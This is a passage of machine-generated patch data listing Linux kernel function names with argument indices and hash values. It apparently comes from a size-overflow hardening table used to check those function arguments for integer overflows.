NULL ++_001689_hash dfs_file_read 3 18116 _001689_hash NULL ++_001690_hash dma_memcpy_pg_to_iovec 6 1725 _001690_hash NULL ++_001691_hash dma_memcpy_to_iovec 5 12173 _001691_hash NULL ++_001692_hash dma_rx_errors_read 3 52045 _001692_hash NULL ++_001693_hash dma_rx_requested_read 3 65354 _001693_hash NULL ++_001694_hash dma_show_regs 3 35266 _001694_hash NULL ++_001695_hash dma_tx_errors_read 3 46060 _001695_hash NULL ++_001696_hash dma_tx_requested_read 3 16110 _001775_hash NULL nohasharray ++_001697_hash dm_exception_table_init 2 39645 _001697_hash &_001103_hash ++_001698_hash dn_recvmsg 4 17213 _001698_hash NULL ++_001699_hash dns_resolver_read 3 54658 _001699_hash NULL ++_001700_hash do_msgrcv 4 5590 _001700_hash NULL ++_001701_hash driver_state_read 3 17194 _001701_hash &_001394_hash ++_001702_hash dvb_demux_do_ioctl 3 34871 _001702_hash NULL ++_001703_hash dvb_dmxdev_buffer_read 4 20682 _001703_hash NULL ++_001704_hash dvb_dvr_do_ioctl 3 43355 _001704_hash NULL ++_001705_hash econet_recvmsg 4 40978 _001705_hash NULL ++_001706_hash event_calibration_read 3 21083 _001706_hash NULL ++_001707_hash event_heart_beat_read 3 48961 _001707_hash NULL ++_001708_hash event_oom_late_read 3 61175 _001708_hash &_001014_hash ++_001709_hash event_phy_transmit_error_read 3 10471 _001709_hash NULL ++_001710_hash event_rx_mem_empty_read 3 40363 _001710_hash NULL ++_001711_hash event_rx_mismatch_read 3 38518 _001711_hash NULL ++_001712_hash event_rx_pool_read 3 25792 _001712_hash NULL ++_001713_hash event_tx_stuck_read 3 19305 _001713_hash NULL ++_001714_hash excessive_retries_read 3 60425 _001714_hash NULL ++_001715_hash fallback_on_nodma_alloc 2 35332 _001715_hash NULL ++_001716_hash filter_read 3 61692 _001716_hash NULL ++_001717_hash format_devstat_counter 3 32550 _001717_hash NULL ++_001718_hash fragmentation_threshold_read 3 61718 _001718_hash NULL ++_001719_hash fuse_conn_limit_read 3 20084 _001719_hash NULL ++_001720_hash fuse_conn_waiting_read 3 49762 _001720_hash NULL ++_001721_hash generic_readlink 3 32654 _001721_hash NULL ++_001722_hash gpio_power_read 3 36059 _001722_hash NULL ++_001723_hash hash_recvmsg 4 50924 _001723_hash NULL ++_001724_hash ht40allow_map_read 3 55209 _002830_hash NULL nohasharray ++_001725_hash hwflags_read 3 52318 _001725_hash NULL ++_001726_hash hysdn_conf_read 3 42324 _003205_hash NULL nohasharray ++_001727_hash i2400m_rx_stats_read 3 57706 _001727_hash NULL ++_001728_hash i2400m_tx_stats_read 3 28527 _001728_hash NULL ++_001729_hash idmouse_read 3 63374 _001729_hash NULL ++_001730_hash ieee80211_if_read 3 6785 _001730_hash NULL ++_001731_hash ieee80211_rx_bss_info 3 61630 _001731_hash NULL ++_001732_hash ikconfig_read_current 3 1658 _001732_hash NULL ++_001733_hash il3945_sta_dbgfs_stats_table_read 3 48802 _001733_hash NULL ++_001734_hash il3945_ucode_general_stats_read 3 46111 _001734_hash NULL ++_001735_hash il3945_ucode_rx_stats_read 3 3048 _001735_hash NULL ++_001736_hash il3945_ucode_tx_stats_read 3 36016 _001736_hash NULL ++_001737_hash il4965_rs_sta_dbgfs_rate_scale_data_read 3 37792 _001737_hash NULL ++_001738_hash il4965_rs_sta_dbgfs_scale_table_read 3 38564 _001738_hash NULL ++_001739_hash il4965_rs_sta_dbgfs_stats_table_read 3 49206 _001739_hash NULL ++_001740_hash il4965_ucode_general_stats_read 3 56277 _001740_hash NULL ++_001741_hash il4965_ucode_rx_stats_read 3 61948 _001741_hash NULL ++_001742_hash il4965_ucode_tx_stats_read 3 12064 _001742_hash NULL ++_001743_hash il_dbgfs_chain_noise_read 3 38044 _001743_hash NULL ++_001744_hash il_dbgfs_channels_read 3 25005 _001744_hash NULL ++_001745_hash il_dbgfs_disable_ht40_read 3 42386 _001745_hash NULL ++_001746_hash il_dbgfs_fh_reg_read 3 40993 _001746_hash NULL ++_001747_hash il_dbgfs_force_reset_read 3 57517 _001747_hash NULL ++_001748_hash il_dbgfs_interrupt_read 3 3351 _001748_hash NULL ++_001749_hash il_dbgfs_missed_beacon_read 3 59956 _001749_hash NULL ++_001750_hash il_dbgfs_nvm_read 3 12288 _001750_hash NULL ++_001751_hash il_dbgfs_power_save_status_read 3 43165 _001751_hash NULL ++_001752_hash il_dbgfs_qos_read 3 33615 _001752_hash NULL ++_001753_hash il_dbgfs_rxon_filter_flags_read 3 19281 _001753_hash NULL ++_001754_hash il_dbgfs_rxon_flags_read 3 59950 _001754_hash &_001681_hash ++_001755_hash il_dbgfs_rx_queue_read 3 11221 _001755_hash NULL ++_001756_hash il_dbgfs_rx_stats_read 3 15243 _001756_hash NULL ++_001757_hash il_dbgfs_sensitivity_read 3 2370 _001757_hash NULL ++_001758_hash il_dbgfs_sram_read 3 62296 _001758_hash NULL ++_001759_hash il_dbgfs_stations_read 3 21532 _001759_hash NULL ++_001760_hash il_dbgfs_status_read 3 58388 _001760_hash NULL ++_001761_hash il_dbgfs_tx_queue_read 3 55668 _001761_hash NULL ++_001762_hash il_dbgfs_tx_stats_read 3 32913 _001762_hash NULL ++_001763_hash ima_show_htable_value 2 57136 _001763_hash NULL ++_001765_hash ipw_write 3 59807 _001765_hash NULL ++_001766_hash irda_recvmsg_stream 4 35280 _001766_hash NULL ++_001767_hash iscsi_tcp_conn_setup 2 16376 _001767_hash NULL ++_001768_hash isr_cmd_cmplt_read 3 53439 _001768_hash NULL ++_001769_hash isr_commands_read 3 41398 _001769_hash NULL ++_001770_hash isr_decrypt_done_read 3 49490 _001770_hash NULL ++_001771_hash isr_dma0_done_read 3 8574 _001771_hash NULL ++_001772_hash isr_dma1_done_read 3 48159 _001772_hash NULL ++_001773_hash isr_fiqs_read 3 34687 _001773_hash NULL ++_001774_hash isr_host_acknowledges_read 3 54136 _001774_hash NULL ++_001775_hash isr_hw_pm_mode_changes_read 3 16110 _001775_hash &_001696_hash ++_001776_hash isr_irqs_read 3 9181 _001776_hash NULL ++_001777_hash isr_low_rssi_read 3 64789 _001777_hash NULL ++_001778_hash isr_pci_pm_read 3 30271 _001778_hash NULL ++_001779_hash isr_rx_headers_read 3 38325 _001779_hash NULL ++_001780_hash isr_rx_mem_overflow_read 3 43025 _001780_hash NULL ++_001781_hash isr_rx_procs_read 3 31804 _001781_hash NULL ++_001782_hash isr_rx_rdys_read 3 35283 _001782_hash NULL ++_001783_hash isr_tx_exch_complete_read 3 16103 _001783_hash NULL ++_001784_hash isr_tx_procs_read 3 23084 _001784_hash NULL ++_001785_hash isr_wakeups_read 3 49607 _001785_hash NULL ++_001786_hash ivtv_read 3 57796 _001786_hash NULL ++_001787_hash iwl_dbgfs_bt_traffic_read 3 35534 _001787_hash NULL ++_001788_hash iwl_dbgfs_chain_noise_read 3 46355 _001788_hash NULL ++_001789_hash iwl_dbgfs_channels_read 3 6784 _001789_hash NULL ++_001790_hash iwl_dbgfs_current_sleep_command_read 3 2081 _001790_hash NULL ++_001791_hash iwl_dbgfs_disable_ht40_read 3 35761 _001791_hash NULL ++_001792_hash iwl_dbgfs_fh_reg_read 3 879 _001792_hash &_000393_hash ++_001793_hash iwl_dbgfs_force_reset_read 3 62628 _001793_hash NULL ++_001794_hash iwl_dbgfs_interrupt_read 3 23574 _001794_hash NULL ++_001795_hash iwl_dbgfs_log_event_read 3 2107 _001795_hash NULL ++_001796_hash iwl_dbgfs_missed_beacon_read 3 50584 _001796_hash NULL ++_001797_hash iwl_dbgfs_nvm_read 3 23845 _001797_hash NULL ++_001798_hash iwl_dbgfs_plcp_delta_read 3 55407 _001798_hash NULL ++_001799_hash iwl_dbgfs_power_save_status_read 3 54392 _001799_hash NULL ++_001800_hash iwl_dbgfs_protection_mode_read 3 13943 _001800_hash NULL ++_001801_hash iwl_dbgfs_qos_read 3 11753 _001801_hash NULL ++_001802_hash iwl_dbgfs_reply_tx_error_read 3 19205 _001802_hash NULL ++_001803_hash iwl_dbgfs_rx_handlers_read 3 18708 _001803_hash NULL ++_001804_hash iwl_dbgfs_rxon_filter_flags_read 3 28832 _001804_hash NULL ++_001805_hash iwl_dbgfs_rxon_flags_read 3 20795 _001805_hash NULL ++_001806_hash iwl_dbgfs_rx_queue_read 3 19943 _001806_hash NULL ++_001807_hash iwl_dbgfs_rx_statistics_read 3 62687 _001807_hash &_000425_hash ++_001808_hash iwl_dbgfs_sensitivity_read 3 63116 _003026_hash NULL nohasharray ++_001809_hash iwl_dbgfs_sleep_level_override_read 3 3038 _001809_hash NULL ++_001810_hash iwl_dbgfs_sram_read 3 44505 _001810_hash NULL ++_001811_hash iwl_dbgfs_stations_read 3 9309 _001811_hash NULL ++_001812_hash iwl_dbgfs_status_read 3 5171 _001812_hash NULL ++_001813_hash iwl_dbgfs_temperature_read 3 29224 _001813_hash NULL ++_001814_hash iwl_dbgfs_thermal_throttling_read 3 38779 _001814_hash NULL ++_001815_hash iwl_dbgfs_traffic_log_read 3 58870 _001815_hash NULL ++_001816_hash iwl_dbgfs_tx_queue_read 3 4635 _001816_hash NULL ++_001817_hash iwl_dbgfs_tx_statistics_read 3 314 _003437_hash NULL nohasharray ++_001818_hash iwl_dbgfs_ucode_bt_stats_read 3 42820 _001818_hash NULL ++_001819_hash iwl_dbgfs_ucode_general_stats_read 3 49199 _001819_hash NULL ++_001820_hash iwl_dbgfs_ucode_rx_stats_read 3 58023 _001820_hash NULL ++_001821_hash iwl_dbgfs_ucode_tracing_read 3 47983 _001821_hash &_000349_hash ++_001822_hash iwl_dbgfs_ucode_tx_stats_read 3 31611 _001822_hash NULL ++_001823_hash iwl_dbgfs_wowlan_sram_read 3 540 _001823_hash NULL ++_001824_hash iwm_if_alloc 1 17027 _001824_hash &_001314_hash ++_001825_hash kernel_readv 3 35617 _001825_hash NULL ++_001826_hash key_algorithm_read 3 57946 _001826_hash NULL ++_001827_hash key_icverrors_read 3 20895 _001827_hash NULL ++_001828_hash key_key_read 3 3241 _001828_hash NULL ++_001829_hash key_replays_read 3 62746 _001829_hash NULL ++_001830_hash key_rx_spec_read 3 12736 _001830_hash NULL ++_001831_hash key_tx_spec_read 3 4862 _001831_hash NULL ++_001832_hash __kfifo_to_user 3 36555 _002199_hash NULL nohasharray ++_001833_hash __kfifo_to_user_r 3 39123 _001833_hash NULL ++_001834_hash kmem_zalloc_greedy 2-3 65268 _001834_hash NULL ++_001836_hash l2cap_chan_send 3 49995 _001836_hash NULL ++_001837_hash l2cap_sar_segment_sdu 3 27701 _001837_hash NULL ++_001838_hash lbs_debugfs_read 3 30721 _001838_hash NULL ++_001839_hash lbs_dev_info 3 51023 _001839_hash NULL ++_001840_hash lbs_host_sleep_read 3 31013 _001840_hash NULL ++_001841_hash lbs_rdbbp_read 3 45805 _001841_hash NULL ++_001842_hash lbs_rdmac_read 3 418 _001842_hash NULL ++_001843_hash lbs_rdrf_read 3 41431 _001843_hash NULL ++_001844_hash lbs_sleepparams_read 3 10840 _001844_hash NULL ++_001845_hash lbs_threshold_read 5 21046 _001845_hash NULL ++_001846_hash libfc_vport_create 2 4415 _001846_hash NULL ++_001847_hash lkdtm_debugfs_read 3 45752 _001847_hash NULL ++_001848_hash llcp_sock_recvmsg 4 13556 _001848_hash NULL ++_001849_hash long_retry_limit_read 3 59766 _001849_hash NULL ++_001850_hash lpfc_debugfs_dif_err_read 3 36303 _001850_hash NULL ++_001851_hash lpfc_debugfs_read 3 16566 _001851_hash NULL ++_001852_hash lpfc_idiag_baracc_read 3 58466 _002447_hash NULL nohasharray ++_001853_hash lpfc_idiag_ctlacc_read 3 33943 _001853_hash NULL ++_001854_hash lpfc_idiag_drbacc_read 3 15948 _001854_hash NULL ++_001855_hash lpfc_idiag_extacc_read 3 48301 _001855_hash NULL ++_001856_hash lpfc_idiag_mbxacc_read 3 28061 _001856_hash NULL ++_001857_hash lpfc_idiag_pcicfg_read 3 50334 _001857_hash NULL ++_001858_hash lpfc_idiag_queacc_read 3 13950 _001858_hash NULL ++_001859_hash lpfc_idiag_queinfo_read 3 55662 _001859_hash NULL ++_001860_hash mac80211_format_buffer 2 41010 _001860_hash NULL ++_001861_hash macvtap_put_user 4 55609 _001861_hash NULL ++_001862_hash macvtap_sendmsg 4 30629 _001862_hash NULL ++_001863_hash mic_calc_failure_read 3 59700 _001863_hash NULL ++_001864_hash mic_rx_pkts_read 3 27972 _001864_hash NULL ++_001865_hash minstrel_stats_read 3 17290 _001865_hash NULL ++_001866_hash mmc_ext_csd_read 3 13205 _001866_hash NULL ++_001867_hash mon_bin_read 3 6841 _001867_hash NULL ++_001868_hash mon_stat_read 3 25238 _001868_hash NULL ++_001870_hash mqueue_read_file 3 6228 _001870_hash NULL ++_001871_hash mwifiex_debug_read 3 53074 _001871_hash NULL ++_001872_hash mwifiex_getlog_read 3 54269 _001872_hash NULL ++_001873_hash mwifiex_info_read 3 53447 _001873_hash NULL ++_001874_hash mwifiex_rdeeprom_read 3 51429 _001874_hash NULL ++_001875_hash mwifiex_regrdwr_read 3 34472 _001875_hash NULL ++_001876_hash nfsd_vfs_read 6 62605 _003003_hash NULL nohasharray ++_001877_hash nfsd_vfs_write 6 54577 _001877_hash NULL ++_001878_hash nfs_idmap_lookup_id 2 10660 _001878_hash NULL ++_001879_hash o2hb_debug_read 3 37851 _001879_hash NULL ++_001880_hash o2net_debug_read 3 52105 _001880_hash NULL ++_001881_hash ocfs2_control_read 3 56405 _001881_hash NULL ++_001882_hash ocfs2_debug_read 3 14507 _001882_hash NULL ++_001883_hash ocfs2_readlink 3 50656 _001883_hash NULL ++_001884_hash oom_adjust_read 3 25127 _001884_hash NULL ++_001885_hash oom_score_adj_read 3 39921 _002116_hash NULL nohasharray ++_001886_hash oprofilefs_str_to_user 3 42182 _001886_hash NULL ++_001887_hash oprofilefs_ulong_to_user 3 11582 _001887_hash NULL ++_001888_hash _osd_req_list_objects 6 4204 _001888_hash NULL ++_001889_hash osd_req_read_kern 5 59990 _001889_hash NULL ++_001890_hash osd_req_write_kern 5 53486 _001890_hash NULL ++_001891_hash p54_init_common 1 23850 _001891_hash NULL ++_001892_hash packet_sendmsg 4 24954 _001892_hash NULL ++_001893_hash page_readlink 3 23346 _001893_hash NULL ++_001894_hash pcf50633_write_block 3 2124 _001894_hash NULL ++_001895_hash platform_list_read_file 3 34734 _001895_hash NULL ++_001896_hash pm860x_bulk_write 3 43875 _001896_hash NULL ++_001897_hash pm_qos_power_read 3 55891 _001897_hash NULL ++_001898_hash pms_read 3 53873 _001898_hash NULL ++_001899_hash port_show_regs 3 5904 _001899_hash NULL ++_001900_hash proc_coredump_filter_read 3 39153 _001900_hash NULL ++_001901_hash proc_fdinfo_read 3 62043 _001901_hash NULL ++_001902_hash proc_info_read 3 63344 _001902_hash NULL ++_001903_hash proc_loginuid_read 3 15631 _001903_hash NULL ++_001904_hash proc_pid_attr_read 3 10173 _001904_hash NULL ++_001905_hash proc_pid_readlink 3 52186 _001905_hash NULL ++_001906_hash proc_read 3 43614 _001906_hash NULL ++_001907_hash proc_self_readlink 3 38094 _001907_hash NULL ++_001908_hash proc_sessionid_read 3 6911 _002038_hash NULL nohasharray ++_001909_hash provide_user_output 3 41105 _001909_hash NULL ++_001910_hash ps_pspoll_max_apturn_read 3 6699 _001910_hash NULL ++_001911_hash ps_pspoll_timeouts_read 3 11776 _001911_hash NULL ++_001912_hash ps_pspoll_utilization_read 3 5361 _001912_hash NULL ++_001913_hash pstore_file_read 3 57288 _001913_hash NULL ++_001914_hash ps_upsd_max_apturn_read 3 19918 _001914_hash NULL ++_001915_hash ps_upsd_max_sptime_read 3 63362 _001915_hash NULL ++_001916_hash ps_upsd_timeouts_read 3 28924 _001916_hash NULL ++_001917_hash ps_upsd_utilization_read 3 51669 _001917_hash NULL ++_001918_hash pvr2_v4l2_read 3 18006 _001918_hash NULL ++_001919_hash pwr_disable_ps_read 3 13176 _001919_hash NULL ++_001920_hash pwr_elp_enter_read 3 5324 _001920_hash NULL ++_001921_hash pwr_enable_ps_read 3 17686 _001921_hash NULL ++_001922_hash pwr_fix_tsf_ps_read 3 26627 _001922_hash NULL ++_001923_hash pwr_missing_bcns_read 3 25824 _001923_hash NULL ++_001924_hash pwr_power_save_off_read 3 18355 _001924_hash NULL ++_001925_hash pwr_ps_enter_read 3 26935 _001925_hash &_000501_hash ++_001926_hash pwr_rcvd_awake_beacons_read 3 50505 _001926_hash NULL ++_001927_hash pwr_rcvd_beacons_read 3 52836 _001927_hash NULL ++_001928_hash pwr_tx_without_ps_read 3 48423 _001928_hash NULL ++_001929_hash pwr_tx_with_ps_read 3 60851 _001929_hash NULL ++_001930_hash pwr_wake_on_host_read 3 26321 _001930_hash NULL ++_001931_hash pwr_wake_on_timer_exp_read 3 22640 _001931_hash NULL ++_001932_hash queues_read 3 24877 _001932_hash NULL ++_001933_hash raw_recvmsg 4 17277 _001933_hash NULL ++_001934_hash rcname_read 3 25919 _001934_hash NULL ++_001935_hash read_4k_modal_eeprom 3 30212 _001935_hash NULL ++_001936_hash read_9287_modal_eeprom 3 59327 _001936_hash NULL ++_001937_hash reada_find_extent 2 63486 _001937_hash NULL ++_001938_hash read_def_modal_eeprom 3 14041 _001938_hash NULL ++_001939_hash read_enabled_file_bool 3 37744 _001939_hash NULL ++_001940_hash read_file_ani 3 23161 _001940_hash NULL ++_001941_hash read_file_antenna 3 13574 _001941_hash NULL ++_001942_hash read_file_base_eeprom 3 42168 _001942_hash NULL ++_001943_hash read_file_beacon 3 32595 _001943_hash NULL ++_001944_hash read_file_blob 3 57406 _001944_hash NULL ++_001945_hash read_file_bool 3 4180 _001945_hash NULL ++_001946_hash read_file_credit_dist_stats 3 54367 _001946_hash NULL ++_001947_hash read_file_debug 3 58256 _001947_hash NULL ++_001948_hash read_file_disable_ani 3 6536 _001948_hash NULL ++_001949_hash read_file_dma 3 9530 _001949_hash NULL ++_001950_hash read_file_dump_nfcal 3 18766 _001950_hash NULL ++_001951_hash read_file_frameerrors 3 64001 _001951_hash NULL ++_001952_hash read_file_interrupt 3 61742 _001959_hash NULL nohasharray ++_001953_hash read_file_misc 3 9948 _001953_hash NULL ++_001954_hash read_file_modal_eeprom 3 39909 _001954_hash NULL ++_001955_hash read_file_queue 3 40895 _001955_hash NULL ++_001956_hash read_file_rcstat 3 22854 _001956_hash NULL ++_001957_hash read_file_recv 3 48232 _001957_hash NULL ++_001958_hash read_file_regidx 3 33370 _001958_hash NULL ++_001959_hash read_file_regval 3 61742 _001959_hash &_001952_hash ++_001960_hash read_file_reset 3 52310 _001960_hash NULL ++_001961_hash read_file_rx_chainmask 3 41605 _001961_hash NULL ++_001962_hash read_file_slot 3 50111 _001962_hash NULL ++_001963_hash read_file_stations 3 35795 _001963_hash NULL ++_001964_hash read_file_tgt_int_stats 3 20697 _001964_hash NULL ++_001965_hash read_file_tgt_rx_stats 3 33944 _001965_hash NULL ++_001966_hash read_file_tgt_stats 3 8959 _001966_hash NULL ++_001967_hash read_file_tgt_tx_stats 3 51847 _001967_hash NULL ++_001968_hash read_file_tx_chainmask 3 3829 _001968_hash NULL ++_001969_hash read_file_war_stats 3 292 _001969_hash NULL ++_001970_hash read_file_xmit 3 21487 _001970_hash NULL ++_001971_hash read_from_oldmem 2 3337 _001971_hash NULL ++_001972_hash read_oldmem 3 55658 _001972_hash NULL ++_001973_hash regmap_name_read_file 3 39379 _001973_hash NULL ++_001974_hash repair_io_failure 4 4815 _001974_hash NULL ++_001975_hash request_key_and_link 4 42693 _001975_hash NULL ++_001976_hash res_counter_read 4 33499 _001976_hash NULL ++_001977_hash retry_count_read 3 52129 _001977_hash NULL ++_001978_hash rs_sta_dbgfs_rate_scale_data_read 3 47165 _001978_hash NULL ++_001979_hash rs_sta_dbgfs_scale_table_read 3 40262 _001979_hash NULL ++_001980_hash rs_sta_dbgfs_stats_table_read 3 56573 _001980_hash NULL ++_001981_hash rts_threshold_read 3 44384 _001981_hash NULL ++_001982_hash rx_dropped_read 3 44799 _001982_hash NULL ++_001983_hash rx_fcs_err_read 3 62844 _001983_hash NULL ++_001984_hash rx_hdr_overflow_read 3 64407 _001984_hash NULL ++_001985_hash rx_hw_stuck_read 3 57179 _001985_hash NULL ++_001986_hash rx_out_of_mem_read 3 10157 _001986_hash NULL ++_001987_hash rx_path_reset_read 3 23801 _001987_hash NULL ++_001988_hash rxpipe_beacon_buffer_thres_host_int_trig_rx_data_read 3 55106 _001988_hash NULL ++_001989_hash rxpipe_descr_host_int_trig_rx_data_read 3 22001 _003089_hash NULL nohasharray ++_001990_hash rxpipe_missed_beacon_host_int_trig_rx_data_read 3 63405 _001990_hash NULL ++_001991_hash rxpipe_rx_prep_beacon_drop_read 3 2403 _001991_hash NULL ++_001992_hash rxpipe_tx_xfr_host_int_trig_rx_data_read 3 35538 _001992_hash NULL ++_001993_hash rx_reset_counter_read 3 58001 _001993_hash NULL ++_001994_hash rx_xfr_hint_trig_read 3 40283 _001994_hash NULL ++_001995_hash s5m_bulk_write 3 4833 _001995_hash NULL ++_001996_hash scrub_setup_recheck_block 3-4 56245 _001996_hash NULL ++_001998_hash scsi_adjust_queue_depth 3 12802 _001998_hash NULL ++_001999_hash selinux_inode_notifysecctx 3 36896 _001999_hash NULL ++_002000_hash sel_read_avc_cache_threshold 3 33942 _002000_hash NULL ++_002001_hash sel_read_avc_hash_stats 3 1984 _002001_hash NULL ++_002002_hash sel_read_bool 3 24236 _002002_hash NULL ++_002003_hash sel_read_checkreqprot 3 33068 _002003_hash NULL ++_002004_hash sel_read_class 3 12669 _002541_hash NULL nohasharray ++_002005_hash sel_read_enforce 3 2828 _002005_hash NULL ++_002006_hash sel_read_handle_status 3 56139 _002006_hash NULL ++_002007_hash sel_read_handle_unknown 3 57933 _002007_hash NULL ++_002008_hash sel_read_initcon 3 32362 _002008_hash NULL ++_002009_hash sel_read_mls 3 25369 _002009_hash NULL ++_002010_hash sel_read_perm 3 42302 _002010_hash NULL ++_002011_hash sel_read_policy 3 55947 _002011_hash NULL ++_002012_hash sel_read_policycap 3 28544 _002012_hash NULL ++_002013_hash sel_read_policyvers 3 55 _003257_hash NULL nohasharray ++_002014_hash send_msg 4 37323 _002014_hash NULL ++_002015_hash send_packet 4 52960 _002015_hash NULL ++_002016_hash short_retry_limit_read 3 4687 _002016_hash NULL ++_002017_hash simple_attr_read 3 24738 _002017_hash NULL ++_002018_hash simple_transaction_read 3 17076 _002018_hash NULL ++_002019_hash skb_copy_datagram_const_iovec 2-5-4 48102 _002019_hash NULL ++_002022_hash skb_copy_datagram_iovec 2-4 5806 _002022_hash NULL ++_002024_hash smk_read_ambient 3 61220 _002024_hash NULL ++_002025_hash smk_read_direct 3 15803 _002025_hash NULL ++_002026_hash smk_read_doi 3 30813 _002026_hash NULL ++_002027_hash smk_read_logging 3 37804 _002027_hash NULL ++_002028_hash smk_read_onlycap 3 3855 _002028_hash NULL ++_002029_hash snapshot_read 3 22601 _002029_hash NULL ++_002030_hash snd_cs4281_BA0_read 5 6847 _002030_hash NULL ++_002031_hash snd_cs4281_BA1_read 5 20323 _002031_hash NULL ++_002032_hash snd_cs46xx_io_read 5 45734 _002032_hash NULL ++_002033_hash snd_gus_dram_read 4 56686 _002033_hash NULL ++_002034_hash snd_pcm_oss_read 3 28317 _002034_hash NULL ++_002035_hash snd_rme32_capture_copy 5 39653 _002035_hash NULL ++_002036_hash snd_rme96_capture_copy 5 58484 _002036_hash NULL ++_002037_hash snd_soc_hw_bulk_write_raw 4 14245 _002037_hash NULL ++_002038_hash spi_show_regs 3 6911 _002038_hash &_001908_hash ++_002039_hash sta_agg_status_read 3 14058 _002039_hash NULL ++_002040_hash sta_connected_time_read 3 17435 _002040_hash NULL ++_002041_hash sta_flags_read 3 56710 _002041_hash NULL ++_002042_hash sta_ht_capa_read 3 10366 _002042_hash NULL ++_002043_hash sta_last_seq_ctrl_read 3 19106 _002043_hash NULL ++_002044_hash sta_num_ps_buf_frames_read 3 1488 _002044_hash NULL ++_002045_hash st_read 3 51251 _002045_hash NULL ++_002046_hash supply_map_read_file 3 10608 _002046_hash NULL ++_002047_hash sysfs_read_file 3 42113 _002047_hash NULL ++_002048_hash sys_lgetxattr 4 45531 _002048_hash NULL ++_002049_hash sys_preadv 3 17100 _002049_hash NULL ++_002050_hash sys_pwritev 3 41722 _002050_hash NULL ++_002051_hash sys_readv 3 50664 _002051_hash NULL ++_002052_hash sys_rt_sigpending 2 24961 _002052_hash NULL ++_002053_hash sys_writev 3 28384 _002053_hash NULL ++_002054_hash test_iso_queue 5 62534 _002054_hash NULL ++_002055_hash ts_read 3 44687 _002055_hash NULL ++_002056_hash TSS_authhmac 3 12839 _002056_hash NULL ++_002057_hash TSS_checkhmac1 5 31429 _002057_hash NULL ++_002058_hash TSS_checkhmac2 5-7 40520 _002058_hash NULL ++_002060_hash tt3650_ci_msg_locked 4 8013 _002060_hash NULL ++_002061_hash tun_sendmsg 4 10337 _002061_hash NULL ++_002062_hash tx_internal_desc_overflow_read 3 47300 _002062_hash NULL ++_002063_hash tx_queue_len_read 3 1463 _002063_hash NULL ++_002064_hash tx_queue_status_read 3 44978 _002064_hash NULL ++_002065_hash ubi_io_write_data 4-5 40305 _002065_hash NULL ++_002067_hash uhci_debug_read 3 5911 _002067_hash NULL ++_002068_hash unix_stream_recvmsg 4 35210 _002068_hash NULL ++_002069_hash uvc_debugfs_stats_read 3 56651 _002069_hash NULL ++_002070_hash vhost_add_used_and_signal_n 4 8038 _002070_hash NULL ++_002071_hash vifs_state_read 3 33762 _002071_hash NULL ++_002072_hash vmbus_open 2-3 12154 _002072_hash NULL ++_002074_hash waiters_read 3 40902 _002074_hash NULL ++_002075_hash wep_addr_key_count_read 3 20174 _002075_hash NULL ++_002076_hash wep_decrypt_fail_read 3 58567 _002076_hash NULL ++_002077_hash wep_default_key_count_read 3 43035 _002077_hash NULL ++_002078_hash wep_interrupt_read 3 41492 _002078_hash NULL ++_002079_hash wep_key_not_found_read 3 13377 _002079_hash &_000915_hash ++_002080_hash wep_packets_read 3 18751 _002080_hash NULL ++_002081_hash wl1271_format_buffer 2 20834 _002081_hash NULL ++_002082_hash wm8994_bulk_write 3 13615 _002082_hash NULL ++_002083_hash wusb_prf_256 7 29203 _002083_hash NULL ++_002084_hash wusb_prf_64 7 51065 _002084_hash NULL ++_002085_hash xfs_buf_read_uncached 4 27519 _002085_hash NULL ++_002086_hash xfs_iext_add 3 41422 _002086_hash NULL ++_002087_hash xfs_iext_remove_direct 3 40744 _002087_hash NULL ++_002088_hash xfs_trans_get_efd 3 51148 _002088_hash NULL ++_002089_hash xfs_trans_get_efi 2 7898 _002089_hash NULL ++_002090_hash xlog_get_bp 2 23229 _002090_hash NULL ++_002091_hash xz_dec_init 2 29029 _002091_hash NULL ++_002092_hash aac_change_queue_depth 2 825 _002092_hash NULL ++_002093_hash agp_allocate_memory_wrap 1 16576 _002093_hash NULL ++_002094_hash arcmsr_adjust_disk_queue_depth 2 16756 _002094_hash NULL ++_002095_hash atalk_recvmsg 4 22053 _002095_hash NULL ++_002097_hash atomic_read_file 3 16227 _002097_hash NULL ++_002098_hash ax25_recvmsg 4 64441 _002098_hash NULL ++_002099_hash beacon_interval_read 3 7091 _002099_hash NULL ++_002100_hash btrfs_init_new_buffer 4 55761 _002100_hash NULL ++_002101_hash btrfs_mksubvol 3 39479 _002101_hash NULL ++_002102_hash bt_sock_recvmsg 4 12316 _002102_hash NULL ++_002103_hash bt_sock_stream_recvmsg 4 52518 _002103_hash NULL ++_002104_hash caif_seqpkt_recvmsg 4 32241 _002104_hash NULL ++_002105_hash cpu_type_read 3 36540 _002105_hash NULL ++_002106_hash cx18_read 3 23699 _002106_hash NULL ++_002107_hash dccp_recvmsg 4 16056 _002107_hash NULL ++_002108_hash depth_read 3 31112 _002108_hash NULL ++_002109_hash dfs_global_file_read 3 7787 _002109_hash NULL ++_002110_hash dgram_recvmsg 4 23104 _002110_hash NULL ++_002111_hash dma_skb_copy_datagram_iovec 3-5 21516 _002111_hash NULL ++_002113_hash dtim_interval_read 3 654 _002113_hash NULL ++_002114_hash dynamic_ps_timeout_read 3 10110 _002114_hash NULL ++_002115_hash enable_read 3 2117 _002115_hash NULL ++_002116_hash exofs_read_kern 6 39921 _002116_hash &_001885_hash ++_002117_hash fc_change_queue_depth 2 36841 _002117_hash NULL ++_002118_hash forced_ps_read 3 31685 _002118_hash NULL ++_002119_hash frequency_read 3 64031 _003106_hash NULL nohasharray ++_002120_hash get_alua_req 3 4166 _002120_hash NULL ++_002121_hash get_rdac_req 3 45882 _002121_hash NULL ++_002122_hash hci_sock_recvmsg 4 7072 _002122_hash NULL ++_002123_hash hpsa_change_queue_depth 2 15449 _002123_hash NULL ++_002124_hash hptiop_adjust_disk_queue_depth 2 20122 _002124_hash NULL ++_002125_hash ide_queue_pc_tail 5 11673 _002125_hash NULL ++_002126_hash ide_raw_taskfile 4 42355 _002126_hash NULL ++_002127_hash idetape_queue_rw_tail 3 29562 _002127_hash NULL ++_002128_hash ieee80211_if_read_aid 3 9705 _002128_hash NULL ++_002129_hash ieee80211_if_read_auto_open_plinks 3 38268 _003504_hash NULL nohasharray ++_002130_hash ieee80211_if_read_ave_beacon 3 64924 _002130_hash NULL ++_002131_hash ieee80211_if_read_bssid 3 35161 _002131_hash NULL ++_002132_hash ieee80211_if_read_channel_type 3 23884 _002132_hash NULL ++_002133_hash ieee80211_if_read_dot11MeshConfirmTimeout 3 60670 _002133_hash NULL ++_002134_hash ieee80211_if_read_dot11MeshGateAnnouncementProtocol 3 14486 _002134_hash NULL ++_002135_hash ieee80211_if_read_dot11MeshHoldingTimeout 3 47356 _002135_hash NULL 